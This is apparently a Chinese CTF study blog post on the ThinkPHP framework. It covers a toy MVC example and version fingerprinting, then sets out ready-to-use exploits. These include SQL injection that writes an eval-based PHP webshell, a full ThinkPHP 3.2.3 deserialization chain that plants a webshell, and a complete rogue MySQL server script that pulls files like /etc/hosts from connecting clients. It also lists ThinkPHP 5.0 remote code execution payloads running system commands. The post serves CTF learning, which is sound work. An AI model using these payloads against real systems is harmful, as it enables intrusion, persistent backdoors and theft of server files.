Web_8_thinkphp专题
Charmersix

第一节 认识thinkphp

0x1 php开发框架

为了避免重复造轮子, 这里就出现了PHP开发框架, 只需要装修一下就可以使用

其背后思想为mvc思想

常见的开发框架

thinkphp

开源的PHP框架,为了简化企业级应用开发和敏捷web应用开发而诞生的。遵循apache2开源协议发布。

Yii

简洁优秀的开源PHP框架

Laravel

帮你构建一个完美的网络app,每行代码都可以简洁、富于表达力。

MVC基础

指MVC模式的某种框架,强制性地使应用程序的输入、处理和输出分开。使用MVC应用程序被分成三个核心模型:模型、视图、控制器

view(视图)

视图是用户看到的并与之交互的界面, 对老式的web应用程序来说, 视图就是由HTML元素组成的界面

显示数据由视图负责

model(模型)

表示业务规则, 在MVC三个部件中, 模型拥有最多的处理任务. 被模型返回的数据是中立的, 模型与数据格式无关, 这样一个模型能为多个视图提供数据, 由于应用于模型的代码只需写一次就可以被多个视图使用, 所以减少了代码的重复性

数据读取与存储是由模型负责的

controller(控制器)

是指接收用户输入并调用模型和视图去完成用户的需求, 控制器本身不输出任何东西和做任何处理, 它只是接收请求并决定调用哪个模型构件去处理请求, 然后再确定用哪个视图来显示返回的数据

自己写一个PHP框架

首先确定一下框架的主要功能

  • 基于pathinfo下的路由监听
  • 业务分层, 实现简单的mvc
  • 渲染引擎
  • 控制器
  • 数据处理

首先写一个index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php

echo "i am admin controller<br>";
class admin{
function login($username,$password){
if($username=='admin'&&$password=='admin'){
echo "登陆成功";
}else{
echo "登录失败";
}
}
function logout(){
echo "i am logout function";
}
static function getInstance(){
return new admin();
}

然后新建一个controller目录image-20230209201407853

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
//admin.php
<?php

echo "i am admin controller<br>";
class admin{
function login($username,$password){
if($username=='admin'&&$password=='admin'){
echo "登陆成功";
}else{
echo "登录失败";
}
}
function logout(){
echo "i am logout function";
}
static function getInstance(){
return new admin();
}

}
1
2
3
//user.php
<?php
echo "i am user controller";

最终效果:

image-20230209201458710

第二节 thinkphp漏洞

0x1 thinkphp框架下的信息收集

这里我们下载一个thinkphp的3.2.3版本的源码

寻找tp框架的特征

url中寻找特征

thinkphp框架下的url一般是index.php/home/index/index类型, 个别会省略掉index.php, 直接是/home/index/index,这时候我们看到的是三层pathinfo结构, 就要考虑是thinkphp框架image-20230215194355394

这时候我们可以修改模块或者控制器的名字, 检查报错信息, 访问http://localhost/index.php/home/charmersix/index

可以看到报错信息的话就可以精确找到thinkphp的版本号了image-20230215194525656

报错关闭的情况

通过对thinkphp ui的敏感就可以一眼顶针, 看出其框架

使用软路由检测

这里我们可以通过get方式提交pathinfo的值, 这里依旧可以通过修改控制器/方法名来看报错信息image-20230215232102417

tp的代码执行

show参数可控下的代码执行

假设我们有这样的代码

1
2
3
4
5
6
7
8
<?php
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller{
public function index($n=''){
$this->show('$n');
}
}

可以直接渲染我们提交的n参数image-20230215232518010

这里我们直接写php代码利用就可以image-20230215232805355

利用日志文件代码执行

在thinkphp开启debug的情况下会在runtime目录下生成log文件, 文件的名称是以年_月_日.log来命名的, 所以我们可以爆破文件名

url/Application/Runtime/Logs/Home/y_m_d.log

这时候我们就可以抓包通过bp去爆破隐藏信息image-20230216153509526

我们就可以得到这样一条接口image-20230216154048607

执行代码获得flag即可image-20230216154300857

tp的SQL注入漏洞

在一切开始之前, 我们先看一下我们当前版本thinkphp的官方文档, 在这里

基于where的SQL注入漏洞

thinkphpSQL注入利用姿势: where数组绕过?id[where]=id=1'

例如:?id[where]=id=1 union select 1, (select group_concat(table_name) from information_schema.tables where table_schema=database()), 3, 4 limit 1, 1%23image-20230220135821253

注释引起的SQL注入漏洞

代码如下:

1
2
3
4
5
6
7
8
9
<?php
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller{
public function index($id=1){
$user = M('users')->comment($id)->find(intval($id));
$this->show('<p>hello '.$user['username'].'</p>','utf-8');
}
}

在这个框架中, comment将会被/**/包裹注释掉, 但是, 我们可以输入*/将注释闭合从而达到SQL注入, 但是这里我们会发现union联合注入是不能用的, 因为在limit后, union是不好用的image-20230220145454436

这里我们就需要用到一个新姿势: 通过数据库写一句话文件, 然后达到我们想要的效果, 但是前提是数据库必须打开了secure-file-priv的写入文件权限image-20230220150018033

然后我们直接写入一句话木马

例如: ?id=1 */ into outfile "/var/www/html/1.php" lines terminated by "<?php eval($_POST[1])?>";%23

image-20230220195811130

木马已经写进去, 直接利用即可

image-20230220200006298

第三节 thinkphp反序列化

thinkphp挖链子

基本流程

1
2
3
4
1.寻找可利用的魔术方法, 比较常见的有__destruct/__wakeup
2.继续寻找跳板
3.最终通过其他函数/其他类的属性构造一个函数名可控函数参数可控的链子
4.实现rce

tp3.2版本

tp3.2.3版本下的反序列化漏洞

通过反序列化一个数据库的连接开启一个堆叠, 执行SQL语句, 写入一句话木马

这里我们只需要用这个exp就可以生成一串cookie

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
<?php
namespace Think\Image\Driver{
use Think\Session\Driver\Memcache;
class Imagick{
private $img;
public function __construct(){
$this->img=new Memcache();
}
}
}
namespace Think\Session\Driver{
use Think\Model;
class Memcache {
protected $handle;
public function __construct(){
$this->handle=new Model();
}

}
}
namespace Think{
use Think\Db\Driver\Mysql;
class Model {
protected $data = array();
protected $db = null;
protected $pk;
public function __construct(){
$this->db=new Mysql();
$this->pk='id';
$this->data[$this->pk] = array(
"table" => 'mysql.user;select "<?php eval($_POST[1]);?>" into outfile "/var/www/html/1.php"# ',
"where" => "1"
);
}
}
}
namespace Think\Db\Driver{
use PDO;
class Mysql{
protected $options = array(
PDO::MYSQL_ATTR_LOCAL_INFILE => true, // 开启才能读取文件
PDO::MYSQL_ATTR_MULTI_STATEMENTS => true //开启堆叠,发现不加这句话也可以
);
protected $config = array(
"debug" => 1,
'hostname' => '127.0.0.1', // 服务器地址
'database' => 'ctfshow', // 数据库名
'username' => 'root', // 用户名
'password' => 'root', // 密码
'hostport' => '3306'
);
}
}
namespace{
use Think\Image\Driver\Imagick;
echo base64_encode(serialize(new Imagick()));
}

我们运行一下这个脚本就可以生成一串base64编码, 然后我们改一下cookie发送即可image-20230220200722627

然后就可以写入一个1.php的一句话木马

image-20230220201857103

如果这个方法不行, 可以使用远程读文件的姿势

伪造MySQL服务端读取文件

伪造一个MySQL的服务端, 让别人连接的情况下, 可以让别人把本地文件远程发给服务端, 这里虽然是读的服务器文件, 但是其实就相当于我们读的自己客户端的文件, 就相当于一个变相的钓鱼

这里我们还是继续用上边的php脚本+python脚本, 但是上边php脚本的服务器地址需要改成我们自己的云服务器地址, 端口也需要改成3389

然后我们在云服务器上开始运行这个python脚本, 开始监听

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
from socket import AF_INET, SOCK_STREAM, error
from asyncore import dispatcher, loop as _asyLoop
from asynchat import async_chat
from struct import Struct
from sys import version_info
from logging import getLogger, INFO, StreamHandler, Formatter

_rouge_mysql_sever_read_file_result = {

}
_rouge_mysql_server_read_file_end = False


def checkVersionPy3():
return not version_info < (3, 0)


def rouge_mysql_sever_read_file(fileName, port, showInfo):
if showInfo:
log = getLogger(__name__)
log.setLevel(INFO)
tmp_format = StreamHandler()
tmp_format.setFormatter(Formatter("%(asctime)s : %(levelname)s : %(message)s"))
log.addHandler(
tmp_format
)

def _infoShow(*args):
if showInfo:
log.info(*args)

# ================================================
# =======No need to change after this lines=======
# ================================================

__author__ = 'Gifts'
__modify__ = 'Morouu'

global _rouge_mysql_sever_read_file_result

class _LastPacket(Exception):
pass

class _OutOfOrder(Exception):
pass

class _MysqlPacket(object):
packet_header = Struct('<Hbb')
packet_header_long = Struct('<Hbbb')

def __init__(self, packet_type, payload):
if isinstance(packet_type, _MysqlPacket):
self.packet_num = packet_type.packet_num + 1
else:
self.packet_num = packet_type
self.payload = payload

def __str__(self):
payload_len = len(self.payload)
if payload_len < 65536:
header = _MysqlPacket.packet_header.pack(payload_len, 0, self.packet_num)
else:
header = _MysqlPacket.packet_header.pack(payload_len & 0xFFFF, payload_len >> 16, 0, self.packet_num)

result = "".join(
(
header.decode("latin1") if checkVersionPy3() else header,
self.payload
)
)

return result

def __repr__(self):
return repr(str(self))

@staticmethod
def parse(raw_data):
packet_num = raw_data[0] if checkVersionPy3() else ord(raw_data[0])
payload = raw_data[1:]

return _MysqlPacket(packet_num, payload.decode("latin1") if checkVersionPy3() else payload)

class _HttpRequestHandler(async_chat):

def __init__(self, addr):
async_chat.__init__(self, sock=addr[0])
self.addr = addr[1]
self.ibuffer = []
self.set_terminator(3)
self.stateList = [b"LEN", b"Auth", b"Data", b"MoreLength", b"File"] if checkVersionPy3() else ["LEN",
"Auth",
"Data",
"MoreLength",
"File"]
self.state = self.stateList[0]
self.sub_state = self.stateList[1]
self.logined = False
self.file = ""
self.push(
_MysqlPacket(
0,
"".join((
'\x0a', # Protocol
'5.6.28-0ubuntu0.14.04.1' + '\0',
'\x2d\x00\x00\x00\x40\x3f\x59\x26\x4b\x2b\x34\x60\x00\xff\xf7\x08\x02\x00\x7f\x80\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x68\x69\x59\x5f\x52\x5f\x63\x55\x60\x64\x53\x52\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00',
)))
)

self.order = 1
self.states = [b'LOGIN', b'CAPS', b'ANY'] if checkVersionPy3() else ['LOGIN', 'CAPS', 'ANY']

def push(self, data):
_infoShow('Pushed: %r', data)
data = str(data)
async_chat.push(self, data.encode("latin1") if checkVersionPy3() else data)

def collect_incoming_data(self, data):
_infoShow('Data recved: %r', data)
self.ibuffer.append(data)

def found_terminator(self):
data = b"".join(self.ibuffer) if checkVersionPy3() else "".join(self.ibuffer)
self.ibuffer = []

if self.state == self.stateList[0]: # LEN
len_bytes = data[0] + 256 * data[1] + 65536 * data[2] + 1 if checkVersionPy3() else ord(
data[0]) + 256 * ord(data[1]) + 65536 * ord(data[2]) + 1
if len_bytes < 65536:
self.set_terminator(len_bytes)
self.state = self.stateList[2] # Data
else:
self.state = self.stateList[3] # MoreLength
elif self.state == self.stateList[3]: # MoreLength
if (checkVersionPy3() and data[0] != b'\0') or data[0] != '\0':
self.push(None)
self.close_when_done()
else:
self.state = self.stateList[2] # Data
elif self.state == self.stateList[2]: # Data
packet = _MysqlPacket.parse(data)
try:
if self.order != packet.packet_num:
raise _OutOfOrder()
else:
# Fix ?
self.order = packet.packet_num + 2
if packet.packet_num == 0:
if packet.payload[0] == '\x03':
_infoShow('Query')

self.set_terminator(3)
self.state = self.stateList[0] # LEN
self.sub_state = self.stateList[4] # File
self.file = fileName.pop(0)

# end
if len(fileName) == 1:
global _rouge_mysql_server_read_file_end
_rouge_mysql_server_read_file_end = True

self.push(_MysqlPacket(
packet,
'\xFB{0}'.format(self.file)
))
elif packet.payload[0] == '\x1b':
_infoShow('SelectDB')
self.push(_MysqlPacket(
packet,
'\xfe\x00\x00\x02\x00'
))
raise _LastPacket()
elif packet.payload[0] in '\x02':
self.push(_MysqlPacket(
packet, '\0\0\0\x02\0\0\0'
))
raise _LastPacket()
elif packet.payload == '\x00\x01':
self.push(None)
self.close_when_done()
else:
raise ValueError()
else:
if self.sub_state == self.stateList[4]: # File
_infoShow('-- result')
# fileContent
_infoShow('Result: %r', data)
if len(data) == 1:
self.push(
_MysqlPacket(packet, '\0\0\0\x02\0\0\0')
)
raise _LastPacket()
else:
self.set_terminator(3)
self.state = self.stateList[0] # LEN
self.order = packet.packet_num + 1

global _rouge_mysql_sever_read_file_result
_rouge_mysql_sever_read_file_result.update(
{self.file: data.encode() if not checkVersionPy3() else data}
)

# test
# print(self.file + ":\n" + content.decode() if checkVersionPy3() else content)

self.close_when_done()

elif self.sub_state == self.stateList[1]: # Auth
self.push(_MysqlPacket(
packet, '\0\0\0\x02\0\0\0'
))
raise _LastPacket()
else:
_infoShow('-- else')
raise ValueError('Unknown packet')
except _LastPacket:
_infoShow('Last packet')
self.state = self.stateList[0] # LEN
self.sub_state = None
self.order = 0
self.set_terminator(3)
except _OutOfOrder:
_infoShow('Out of order')
self.push(None)
self.close_when_done()
else:
_infoShow('Unknown state')
self.push('None')
self.close_when_done()

class _MysqlListener(dispatcher):
def __init__(self, sock=None):
dispatcher.__init__(self, sock)

if not sock:
self.create_socket(AF_INET, SOCK_STREAM)
self.set_reuse_addr()
try:
self.bind(('', port))
except error:
exit()

self.listen(1)

def handle_accept(self):
pair = self.accept()

if pair is not None:
_infoShow('Conn from: %r', pair[1])
_HttpRequestHandler(pair)

if _rouge_mysql_server_read_file_end:
self.close()

_MysqlListener()
_asyLoop()
return _rouge_mysql_sever_read_file_result


if __name__ == '__main__':

for name, content in rouge_mysql_sever_read_file(fileName=["/flag_is_here", "/etc/hosts"], port=3389,showInfo=True).items():
print(name + ":\n" + content.decode())

tp5.0版本

未开启强制路由导致的rce

最高版本支持到5.0.23

常见payload:

1
2
3
4
5
6
7
?s=index/think\Request/input&filter=system&data=dir
?s=index/think\Request/input&filter[]=system&data=pwd
?s=index/think\view\driver\Php/display&content=<?php phpinfo();?>
?s=index/think\template\driver\file/write&cacheFile=shell.php&content<?php phpinfo();?>
?s=index/think\Container/invokefunction&function=call_user_func&vars[]=system&vars[]=dir
?s=index/think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

image-20230220211102933

变量覆盖导致的rce

参考例子:

1
2
3
4
public function index($name='',$from='ctfshow'){
$this->assign($name,$from);//标记一个变量
$this->display('index');//显示index模板
}

手册中, 我们可以看到这样的使用方式

image-20230220180923995

payload:

?name=_content&from=<?php system("cat /f*")?>

image-20230220211208344

直接载入php模板执行代码

tp5.1版本

tp5.1反序列化rce

推荐文章

 Comments